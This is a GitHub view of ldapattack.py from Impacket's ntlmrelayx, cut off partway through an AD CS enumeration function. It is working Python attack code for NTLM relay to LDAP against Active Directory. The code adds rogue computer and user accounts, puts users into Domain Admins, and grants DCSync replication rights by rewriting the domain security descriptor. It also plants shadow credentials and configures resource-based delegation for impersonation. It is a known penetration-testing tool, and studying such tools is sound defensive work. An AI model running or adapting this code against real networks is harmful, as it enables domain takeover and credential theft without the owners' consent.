/
ldapattack.py
1197 lines (1051 loc) · 58.4 KB
/
ldapattack.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
# Impacket - Collection of Python classes for working with network protocols.
#
# Copyright (C) 2023 Fortra. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# LDAP Attack Class
# LDAP(s) protocol relay attack
#
# Authors:
# Alberto Solino (@agsolino)
# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
#
import _thread
import random
import string
import json
import datetime
import binascii
import codecs
import re
import dns.resolver
import ldap3
import ldapdomaindump
from ldap3.core.results import RESULT_UNWILLING_TO_PERFORM
from ldap3.protocol.microsoft import security_descriptor_control
from ldap3.protocol.formatters.formatters import format_sid
from ldap3.utils.conv import escape_filter_chars
import os
from Cryptodome.Hash import MD4
from ipaddress import IPv4Address, AddressValueError
from functools import partial
from impacket import LOG
from impacket.examples.ldap_shell import LdapShell
from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
from impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell
from impacket.ldap import ldaptypes
from impacket.ldap.ldaptypes import ACCESS_ALLOWED_OBJECT_ACE, ACCESS_MASK, ACCESS_ALLOWED_ACE, ACE, OBJECTTYPE_GUID_MAP
from impacket.uuid import string_to_bin, bin_to_string
from impacket.structure import Structure, hexdump
from impacket.examples.ntlmrelayx.utils import shadow_credentials
# This is new from ldap3 v2.5
try:
from ldap3.protocol.microsoft import security_descriptor_control
except ImportError:
# We use a print statement because the logger is not initialized yet here
print("Failed to import required functions from ldap3. ntlmrelayx requires ldap3 >= 2.5.0. \
Please update with 'python -m pip install ldap3 --upgrade'")
PROTOCOL_ATTACK_CLASS = "LDAPAttack"
# Define global variables to prevent dumping the domain twice
# and to prevent privilege escalating more than once
dumpedDomain = False
dumpedAdcs = False
alreadyEscalated = False
alreadyAddedComputer = False
delegatePerformed = []
#gMSA structure
class MSDS_MANAGEDPASSWORD_BLOB(Structure):
structure = (
('Version','<H'),
('Reserved','<H'),
('Length','<L'),
('CurrentPasswordOffset','<H'),
('PreviousPasswordOffset','<H'),
('QueryPasswordIntervalOffset','<H'),
('UnchangedPasswordIntervalOffset','<H'),
('CurrentPassword',':'),
('PreviousPassword',':'),
#('AlignmentPadding',':'),
('QueryPasswordInterval',':'),
('UnchangedPasswordInterval',':'),
)
def __init__(self, data = None):
Structure.__init__(self, data = data)
def fromString(self, data):
Structure.fromString(self,data)
if self['PreviousPasswordOffset'] == 0:
endData = self['QueryPasswordIntervalOffset']
else:
endData = self['PreviousPasswordOffset']
self['CurrentPassword'] = self.rawData[self['CurrentPasswordOffset']:][:endData - self['CurrentPasswordOffset']]
if self['PreviousPasswordOffset'] != 0:
self['PreviousPassword'] = self.rawData[self['PreviousPasswordOffset']:][:self['QueryPasswordIntervalOffset']-self['PreviousPasswordOffset']]
self['QueryPasswordInterval'] = self.rawData[self['QueryPasswordIntervalOffset']:][:self['UnchangedPasswordIntervalOffset']-self['QueryPasswordIntervalOffset']]
self['UnchangedPasswordInterval'] = self.rawData[self['UnchangedPasswordIntervalOffset']:]
class LDAPAttack(ProtocolAttack):
"""
This is the default LDAP attack. It checks the privileges of the relayed account
and performs a domaindump if the user does not have administrative privileges.
If the user is an Enterprise or Domain admin, a new user is added to escalate to DA.
"""
PLUGIN_NAMES = ["LDAP", "LDAPS"]
# ACL constants
# When reading, these constants are actually represented by
# the following for Active Directory specific Access Masks
# Reference: https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2
GENERIC_READ = 0x00020094
GENERIC_WRITE = 0x00020028
GENERIC_EXECUTE = 0x00020004
GENERIC_ALL = 0x000F01FF
def __init__(self, config, LDAPClient, username):
self.computerName = '' if not config.addcomputer else config.addcomputer[0]
self.computerPassword = '' if not config.addcomputer or len(config.addcomputer) < 2 else config.addcomputer[1]
ProtocolAttack.__init__(self, config, LDAPClient, username)
if self.config.interactive:
# Launch locally listening interactive shell.
self.tcp_shell = TcpShell()
def addComputer(self, parent, domainDumper):
"""
Add a new computer. Parent is preferably CN=computers,DC=Domain,DC=local, but can
also be an OU or other container where we have write privileges
"""
global alreadyAddedComputer
if alreadyAddedComputer:
LOG.error('New computer already added. Refusing to add another')
return False
if not self.client.tls_started and not self.client.server.ssl:
LOG.info('Adding a machine account to the domain requires TLS but ldap:// scheme provided. Switching target to LDAPS via StartTLS')
if not self.client.start_tls():
LOG.error('StartTLS failed')
return False
# Get the domain we are in
domaindn = domainDumper.root
domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:]
computerName = self.computerName
if not computerName:
# Random computername
newComputer = (''.join(random.choice(string.ascii_letters) for _ in range(8)) + '$').upper()
else:
newComputer = computerName if computerName.endswith('$') else computerName + '$'
computerPassword = self.computerPassword
if not computerPassword:
# Random password
newPassword = ''.join(random.choice(string.ascii_letters + string.digits + '.,;:!$-_+/*(){}#@<>^') for _ in range(15))
else:
newPassword = computerPassword
computerHostname = newComputer[:-1]
newComputerDn = ('CN=%s,%s' % (computerHostname, parent)).encode('utf-8')
# Default computer SPNs
spns = [
'HOST/%s' % computerHostname,
'HOST/%s.%s' % (computerHostname, domain),
'RestrictedKrbHost/%s' % computerHostname,
'RestrictedKrbHost/%s.%s' % (computerHostname, domain),
]
ucd = {
'dnsHostName': '%s.%s' % (computerHostname, domain),
'userAccountControl': 4096,
'servicePrincipalName': spns,
'sAMAccountName': newComputer,
'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le')
}
LOG.debug('New computer info %s', ucd)
LOG.info('Attempting to create computer in: %s', parent)
res = self.client.add(newComputerDn.decode('utf-8'), ['top','person','organizationalPerson','user','computer'], ucd)
if not res:
# Adding computers requires LDAPS
if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:
LOG.error('Failed to add a new computer. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing account.')
else:
LOG.error('Failed to add a new computer: %s' % str(self.client.result))
return False
else:
LOG.info('Adding new computer with username: %s and password: %s result: OK' % (newComputer, newPassword))
alreadyAddedComputer = True
# Return the SAM name
return newComputer
def addUser(self, parent, domainDumper):
"""
Add a new user. Parent is preferably CN=Users,DC=Domain,DC=local, but can
also be an OU or other container where we have write privileges
"""
global alreadyEscalated
if alreadyEscalated:
LOG.error('New user already added. Refusing to add another')
return
if not self.client.tls_started and not self.client.server.ssl:
LOG.info('Adding a user account to the domain requires TLS but ldap:// scheme provided. Switching target to LDAPS via StartTLS')
if not self.client.start_tls():
LOG.error('StartTLS failed')
return False
# Random password
newPassword = ''.join(random.choice(string.ascii_letters + string.digits + '.,;:!$-_+/*(){}#@<>^') for _ in range(15))
# Random username
newUser = ''.join(random.choice(string.ascii_letters) for _ in range(10))
newUserDn = 'CN=%s,%s' % (newUser, parent)
ucd = {
'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % domainDumper.root,
'distinguishedName': newUserDn,
'cn': newUser,
'sn': newUser,
'givenName': newUser,
'displayName': newUser,
'name': newUser,
'userAccountControl': 512,
'accountExpires': '0',
'sAMAccountName': newUser,
'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le')
}
LOG.info('Attempting to create user in: %s', parent)
res = self.client.add(newUserDn, ['top', 'person', 'organizationalPerson', 'user'], ucd)
if not res:
# Adding users requires LDAPS
if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:
LOG.error('Failed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.')
else:
LOG.error('Failed to add a new user: %s' % str(self.client.result))
return False
else:
LOG.info('Adding new user with username: %s and password: %s result: OK' % (newUser, newPassword))
# Return the DN
return newUserDn
def addUserToGroup(self, userDn, domainDumper, groupDn):
global alreadyEscalated
# For display only
groupName = groupDn.split(',')[0][3:]
userName = userDn.split(',')[0][3:]
# Now add the user as a member to this group
res = self.client.modify(groupDn, {
'member': [(ldap3.MODIFY_ADD, [userDn])]})
if res:
LOG.info('Adding user: %s to group %s result: OK' % (userName, groupName))
LOG.info('Privilege escalation succesful, shutting down...')
alreadyEscalated = True
_thread.interrupt_main()
else:
LOG.error('Failed to add user to %s group: %s' % (groupName, str(self.client.result)))
def shadowCredentialsAttack(self, domainDumper):
currentShadowCredentialsTarget = self.config.ShadowCredentialsTarget
# If the target is not specify, we try to modify the user himself
if not currentShadowCredentialsTarget:
currentShadowCredentialsTarget = self.username
if currentShadowCredentialsTarget in delegatePerformed:
LOG.info('Shadow credentials attack already performed for %s, skipping' % currentShadowCredentialsTarget)
return
LOG.info("Searching for the target account")
# Get the domain we are in
domaindn = domainDumper.root
domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:]
# Get target computer DN
result = self.getUserInfo(domainDumper, currentShadowCredentialsTarget)
if not result:
LOG.error('Target account does not exist! (wrong domain?)')
return
else:
target_dn = result[0]
LOG.info("Target user found: %s" % target_dn)
LOG.info("Generating certificate")
certificate,publicKey,key = shadow_credentials.createX509Certificate(subject=currentShadowCredentialsTarget, keySize=2048, notBefore=(-40 * 365), notAfter=(40 * 365))
LOG.info("Certificate generated")
LOG.info("Generating KeyCredential")
keyCredential = shadow_credentials.CreateKeyCredentialFromX509Certificate(publicKey, deviceId=shadow_credentials.getRandomGUID(), owner=target_dn, currentTime=shadow_credentials.getTimeTicks())
#LOG.info("KeyCredential generated with DeviceID: %s" % keyCredential.DeviceId.toFormatD())
#LOG.debug("KeyCredential: %s" % keyCredential.toDNWithBinary().toString())
self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName', 'objectSid', 'msDS-KeyCredentialLink'])
results = None
for entry in self.client.response:
if entry['type'] != 'searchResEntry':
continue
results = entry
if not results:
LOG.error('Could not query target user properties')
return
try:
new_values = results['raw_attributes']['msDS-KeyCredentialLink'] + [shadow_credentials.toDNWithBinary2String( keyCredential, target_dn )]
LOG.info("Updating the msDS-KeyCredentialLink attribute of %s" % currentShadowCredentialsTarget)
self.client.modify(target_dn, {'msDS-KeyCredentialLink': [ldap3.MODIFY_REPLACE, new_values]})
if self.client.result['result'] == 0:
LOG.info("Updated the msDS-KeyCredentialLink attribute of the target object")
if self.config.ShadowCredentialsOutfilePath is None:
path = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(8))
LOG.debug("No outfile path was provided. The certificate(s) will be store with the filename: %s" % path)
else:
path = self.config.ShadowCredentialsOutfilePath
if self.config.ShadowCredentialsExportType == "PEM":
shadow_credentials.exportPEM(certificate,key,path_to_files=path)
LOG.info("Saved PEM certificate at path: %s" % path + "_cert.pem")
LOG.info("Saved PEM private key at path: %s" % path + "_priv.pem")
LOG.info("A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools")
LOG.info("Run the following command to obtain a TGT")
LOG.info("python3 PKINITtools/gettgtpkinit.py -cert-pem %s_cert.pem -key-pem %s_priv.pem %s/%s %s.ccache" % (path, path, domain, currentShadowCredentialsTarget, path))
elif self.config.ShadowCredentialsExportType == "PFX":
if self.config.ShadowCredentialsPFXPassword is None:
password = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(20))
LOG.debug("No pass was provided. The certificate will be store with the password: %s" % password)
else:
password = self.config.ShadowCredentialsPFXPassword
shadow_credentials.exportPFX(certificate,key,password=password, path_to_file=path)
LOG.info("Saved PFX (#PKCS12) certificate & key at path: %s" % path + ".pfx")
LOG.info("Must be used with password: %s" % password)
LOG.info("A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools")
LOG.info("Run the following command to obtain a TGT")
LOG.info("python3 PKINITtools/gettgtpkinit.py -cert-pfx %s.pfx -pfx-pass %s %s/%s %s.ccache" % (path, password, domain, currentShadowCredentialsTarget, path))
delegatePerformed.append(currentShadowCredentialsTarget)
else:
if self.client.result['result'] == 50:
LOG.error('Could not modify object, the server reports insufficient rights: %s' % self.client.result['message'])
elif self.client.result['result'] == 19:
LOG.error('Could not modify object, the server reports a constrained violation: %s' % self.client.result['message'])
else:
LOG.error('The server returned an error: %s' % self.client.result['message'])
except IndexError:
LOG.info('Attribute msDS-KeyCredentialLink does not exist')
return
def delegateAttack(self, usersam, targetsam, domainDumper, sid):
global delegatePerformed
if targetsam in delegatePerformed:
LOG.info('Delegate attack already performed for this computer, skipping')
return
if not usersam:
usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper)
self.config.escalateuser = usersam
if not sid:
# Get escalate user sid
result = self.getUserInfo(domainDumper, usersam)
if not result:
LOG.error('User to escalate does not exist!')
return
escalate_sid = str(result[1])
else:
escalate_sid = usersam
# Get target computer DN
result = self.getUserInfo(domainDumper, targetsam)
if not result:
LOG.error('Computer to modify does not exist! (wrong domain?)')
return
target_dn = result[0]
self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName','objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])
targetuser = None
for entry in self.client.response:
if entry['type'] != 'searchResEntry':
continue
targetuser = entry
if not targetuser:
LOG.error('Could not query target user properties')
return
try:
sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0])
LOG.debug('Currently allowed sids:')
for ace in sd['Dacl'].aces:
LOG.debug(' %s' % ace['Ace']['Sid'].formatCanonical())
except IndexError:
# Create DACL manually
sd = create_empty_sd()
sd['Dacl'].aces.append(create_allow_ace(escalate_sid))
self.client.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]})
if self.client.result['result'] == 0:
LOG.info('Delegation rights modified succesfully!')
LOG.info('%s can now impersonate users on %s via S4U2Proxy', usersam, targetsam)
delegatePerformed.append(targetsam)
else:
if self.client.result['result'] == 50:
LOG.error('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
elif self.client.result['result'] == 19:
LOG.error('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
else:
LOG.error('The server returned an error: %s', self.client.result['message'])
return
def aclAttack(self, userDn, domainDumper):
global alreadyEscalated
if alreadyEscalated:
LOG.error('ACL attack already performed. Refusing to continue')
return
# Dictionary for restore data
restoredata = {}
# Query for the sid of our user
try:
self.client.search(userDn, '(objectClass=user)', attributes=['sAMAccountName', 'objectSid'])
entry = self.client.entries[0]
except IndexError:
LOG.error('Could not retrieve infos for user: %s' % userDn)
return
username = entry['sAMAccountName'].value
usersid = entry['objectSid'].value
LOG.debug('Found sid for user %s: %s' % (username, usersid))
# Set SD flags to only query for DACL
controls = security_descriptor_control(sdflags=0x04)
alreadyEscalated = True
LOG.info('Querying domain security descriptor')
self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
entry = self.client.entries[0]
secDescData = entry['nTSecurityDescriptor'].raw_values[0]
secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)
# Save old SD for restore purposes
restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8')
restoredata['target_sid'] = usersid
secDesc['Dacl']['Data'].append(create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid))
secDesc['Dacl']['Data'].append(create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid))
dn = entry.entry_dn
data = secDesc.getData()
self.client.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls)
if self.client.result['result'] == 0:
alreadyEscalated = True
LOG.info('Success! User %s now has Replication-Get-Changes-All privileges on the domain', username)
LOG.info('Try using DCSync with secretsdump.py and this user :)')
# Query the SD again to see what AD made of it
self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
entry = self.client.entries[0]
newSD = entry['nTSecurityDescriptor'].raw_values[0]
# Save this to restore the SD later on
restoredata['target_dn'] = dn
restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8')
restoredata['success'] = True
self.writeRestoreData(restoredata, dn)
return True
else:
LOG.error('Error when updating ACL: %s' % self.client.result)
return False
def writeRestoreData(self, restoredata, domaindn):
output = {}
domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:]
output['config'] = {'server':self.client.server.host,'domain':domain}
output['history'] = [{'operation': 'add_domain_sync', 'data': restoredata, 'contextuser': self.username}]
now = datetime.datetime.now()
filename = 'aclpwn-%s.restore' % now.strftime("%Y%m%d-%H%M%S")
# Save the json to file
with codecs.open(filename, 'w', 'utf-8') as outfile:
json.dump(output, outfile)
LOG.info('Saved restore state to %s', filename)
def validatePrivileges(self, uname, domainDumper):
# Find the user's DN
membersids = []
sidmapping = {}
privs = {
'create': False, # Whether we can create users
'createIn': None, # Where we can create users
'escalateViaGroup': False, # Whether we can escalate via a group
'escalateGroup': None, # The group we can escalate via
'aclEscalate': False, # Whether we can escalate via ACL on the domain object
'aclEscalateIn': None # The object which ACL we can edit
}
self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(uname), attributes=['objectSid', 'primaryGroupId'])
user = self.client.entries[0]
usersid = user['objectSid'].value
sidmapping[usersid] = user.entry_dn
membersids.append(usersid)
# The groups the user is a member of
self.client.search(domainDumper.root, '(member:1.2.840.113556.1.4.1941:=%s)' % escape_filter_chars(user.entry_dn), attributes=['name', 'objectSid'])
LOG.debug('User is a member of: %s' % self.client.entries)
for entry in self.client.entries:
sidmapping[entry['objectSid'].value] = entry.entry_dn
membersids.append(entry['objectSid'].value)
# Also search by primarygroupid
# First get domain SID
self.client.search(domainDumper.root, '(objectClass=domain)', attributes=['objectSid'])
domainsid = self.client.entries[0]['objectSid'].value
gid = user['primaryGroupId'].value
# Now search for this group by SID
self.client.search(domainDumper.root, '(objectSid=%s-%d)' % (domainsid, gid), attributes=['name', 'objectSid', 'distinguishedName'])
group = self.client.entries[0]
LOG.debug('User is a member of: %s' % self.client.entries)
# Add the group sid of the primary group to the list
sidmapping[group['objectSid'].value] = group.entry_dn
membersids.append(group['objectSid'].value)
controls = security_descriptor_control(sdflags=0x05) # Query Owner and Dacl
# Now we have all the SIDs applicable to this user, now enumerate the privileges of domains and OUs
entries = self.client.extend.standard.paged_search(domainDumper.root, '(|(objectClass=domain)(objectClass=organizationalUnit))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True)
self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper)
# Also get the privileges on the default Users container
entries = self.client.extend.standard.paged_search(domainDumper.root, '(&(cn=Users)(objectClass=container))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True)
self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper)
# Interesting groups we'd like to be a member of, in order of preference
interestingGroups = [
'%s-%d' % (domainsid, 519), # Enterprise admins
'%s-%d' % (domainsid, 512), # Domain admins
'S-1-5-32-544', # Built-in Administrators
'S-1-5-32-551', # Backup operators
'S-1-5-32-548', # Account operators
]
privs['escalateViaGroup'] = False
for group in interestingGroups:
self.client.search(domainDumper.root, '(objectSid=%s)' % group, attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls)
groupdata = self.client.response
self.checkSecurityDescriptors(groupdata, privs, membersids, sidmapping, domainDumper)
if privs['escalateViaGroup']:
# We have a result - exit the loop
break
return (usersid, privs)
def getUserInfo(self, domainDumper, samname):
entries = self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid'])
try:
dn = self.client.entries[0].entry_dn
sid = self.client.entries[0]['objectSid']
return (dn, sid)
except IndexError:
LOG.error('User not found in LDAP: %s' % samname)
return False
def checkSecurityDescriptors(self, entries, privs, membersids, sidmapping, domainDumper):
standardrights = [
self.GENERIC_ALL,
self.GENERIC_WRITE,
self.GENERIC_READ,
ACCESS_MASK.WRITE_DACL
]
for entry in entries:
if entry['type'] != 'searchResEntry':
continue
dn = entry['dn']
try:
sdData = entry['raw_attributes']['nTSecurityDescriptor'][0]
except IndexError:
# We don't have the privileges to read this security descriptor
LOG.debug('Access to security descriptor was denied for DN %s', dn)
continue
hasFullControl = False
secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR()
secDesc.fromString(sdData)
if secDesc['OwnerSid'] != '' and secDesc['OwnerSid'].formatCanonical() in membersids:
sid = secDesc['OwnerSid'].formatCanonical()
LOG.debug('Permission found: Full Control on %s; Reason: Owner via %s' % (dn, sidmapping[sid]))
hasFullControl = True
# Iterate over all the ACEs
for ace in secDesc['Dacl'].aces:
sid = ace['Ace']['Sid'].formatCanonical()
if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace['AceType'] != ACCESS_ALLOWED_ACE.ACE_TYPE:
continue
if not ace.hasFlag(ACE.INHERITED_ACE) and ace.hasFlag(ACE.INHERIT_ONLY_ACE):
# ACE is set on this object, but only inherited, so not applicable to us
continue
# Check if the ACE has restrictions on object type (inherited case)
if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \
and ace.hasFlag(ACE.INHERITED_ACE) \
and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT):
# Verify if the ACE applies to this object type
inheritedObjectType = bin_to_string(ace['Ace']['InheritedObjectType']).lower()
if not self.aceApplies(inheritedObjectType, entry['raw_attributes']['objectClass'][-1]):
continue
# Check for non-extended rights that may not apply to us
if ace['Ace']['Mask']['Mask'] in standardrights or ace['Ace']['Mask'].hasPriv(ACCESS_MASK.WRITE_DACL):
# Check if this applies to our objecttype
if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT):
objectType = bin_to_string(ace['Ace']['ObjectType']).lower()
if not self.aceApplies(objectType, entry['raw_attributes']['objectClass'][-1]):
# LOG.debug('ACE does not apply, only to %s', objectType)
continue
if sid in membersids:
# Generic all
if ace['Ace']['Mask'].hasPriv(self.GENERIC_ALL):
LOG.debug('Permission found: Full Control on %s; Reason: GENERIC_ALL via %s' % (dn, sidmapping[sid]))
hasFullControl = True
if can_create_users(ace) or hasFullControl:
if not hasFullControl:
LOG.debug('Permission found: Create users in %s; Reason: Granted to %s' % (dn, sidmapping[sid]))
if dn == 'CN=Users,%s' % domainDumper.root:
# We can create users in the default container, this is preferred
privs['create'] = True
privs['createIn'] = dn
else:
# Could be a different OU where we have access
# store it until we find a better place
if privs['createIn'] != 'CN=Users,%s' % domainDumper.root and b'organizationalUnit' in entry['raw_attributes']['objectClass']:
privs['create'] = True
privs['createIn'] = dn
if can_add_member(ace) or hasFullControl:
if b'group' in entry['raw_attributes']['objectClass']:
# We can add members to a group
if not hasFullControl:
LOG.debug('Permission found: Add member to %s; Reason: Granted to %s' % (dn, sidmapping[sid]))
privs['escalateViaGroup'] = True
privs['escalateGroup'] = dn
if ace['Ace']['Mask'].hasPriv(ACCESS_MASK.WRITE_DACL) or hasFullControl:
# Check if the ACE is an OBJECT ACE, if so the WRITE_DACL is applied to
# a property, which is both weird and useless, so we skip it
if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \
and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT):
# LOG.debug('Skipping WRITE_DACL since it has an ObjectType set')
continue
if not hasFullControl:
LOG.debug('Permission found: Write Dacl of %s; Reason: Granted to %s' % (dn, sidmapping[sid]))
# We can modify the domain Dacl
if b'domain' in entry['raw_attributes']['objectClass']:
privs['aclEscalate'] = True
privs['aclEscalateIn'] = dn
@staticmethod
def aceApplies(ace_guid, object_class):
'''
Checks if an ACE applies to this object (based on object classes).
Note that this function assumes you already verified that InheritedObjectType is set (via the flag).
If this is not set, the ACE applies to all object types.
'''
try:
our_ace_guid = OBJECTTYPE_GUID_MAP[object_class]
except KeyError:
return False
if ace_guid == our_ace_guid:
return True
# If none of these match, the ACE does not apply to this object
return False
def dumpADCS(self):
def is_template_for_authentification(entry):
authentication_ekus = [b"1.3.6.1.5.5.7.3.2", b"1.3.6.1.5.2.3.4", b"1.3.6.1.4.1.311.20.2.2", b"2.5.29.37.0"]
# Ignore templates requiring manager approval
if entry["attributes"]["msPKI-Enrollment-Flag"] & 0x02:
return False
# No EKU = works for client authentication
if not len(entry["raw_attributes"]["pKIExtendedKeyUsage"]):
return True
try:
next((eku for eku in entry["raw_attributes"]["pKIExtendedKeyUsage"] if eku in authentication_ekus))
return True
except StopIteration:
return False
def get_enrollment_principals(entry):
# Mostly taken from github.com/ly4k/Certipy/certipy/security.py
sd = ldaptypes.SR_SECURITY_DESCRIPTOR()
sd.fromString(entry["raw_attributes"]["nTSecurityDescriptor"][0])
enrollment_uuids = [
"00000000-0000-0000-0000-000000000000", # All-Extended-Rights
"0e10c968-78fb-11d2-90d4-00c04f79dc55", # Certificate-Enrollment
"a05b8cc2-17bc-4802-a710-e7c15ab866a2", # Certificate-AutoEnrollment
]
enrollment_principals = set()
for ace in (a for a in sd["Dacl"]["Data"] if a["AceType"] == ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE):
sid = format_sid(ace["Ace"]["Sid"].getData())
if ace["Ace"]["ObjectTypeLen"] == 0:
uuid = bin_to_string(ace["Ace"]["InheritedObjectType"]).lower()
else:
uuid = bin_to_string(ace["Ace"]["ObjectType"]).lower()
if not uuid in enrollment_uuids:
continue
enrollment_principals.add(sid)
return enrollment_principals
def translate_sids(sids):
default_naming_context = self.client.server.info.other["defaultNamingContext"][0]
try:
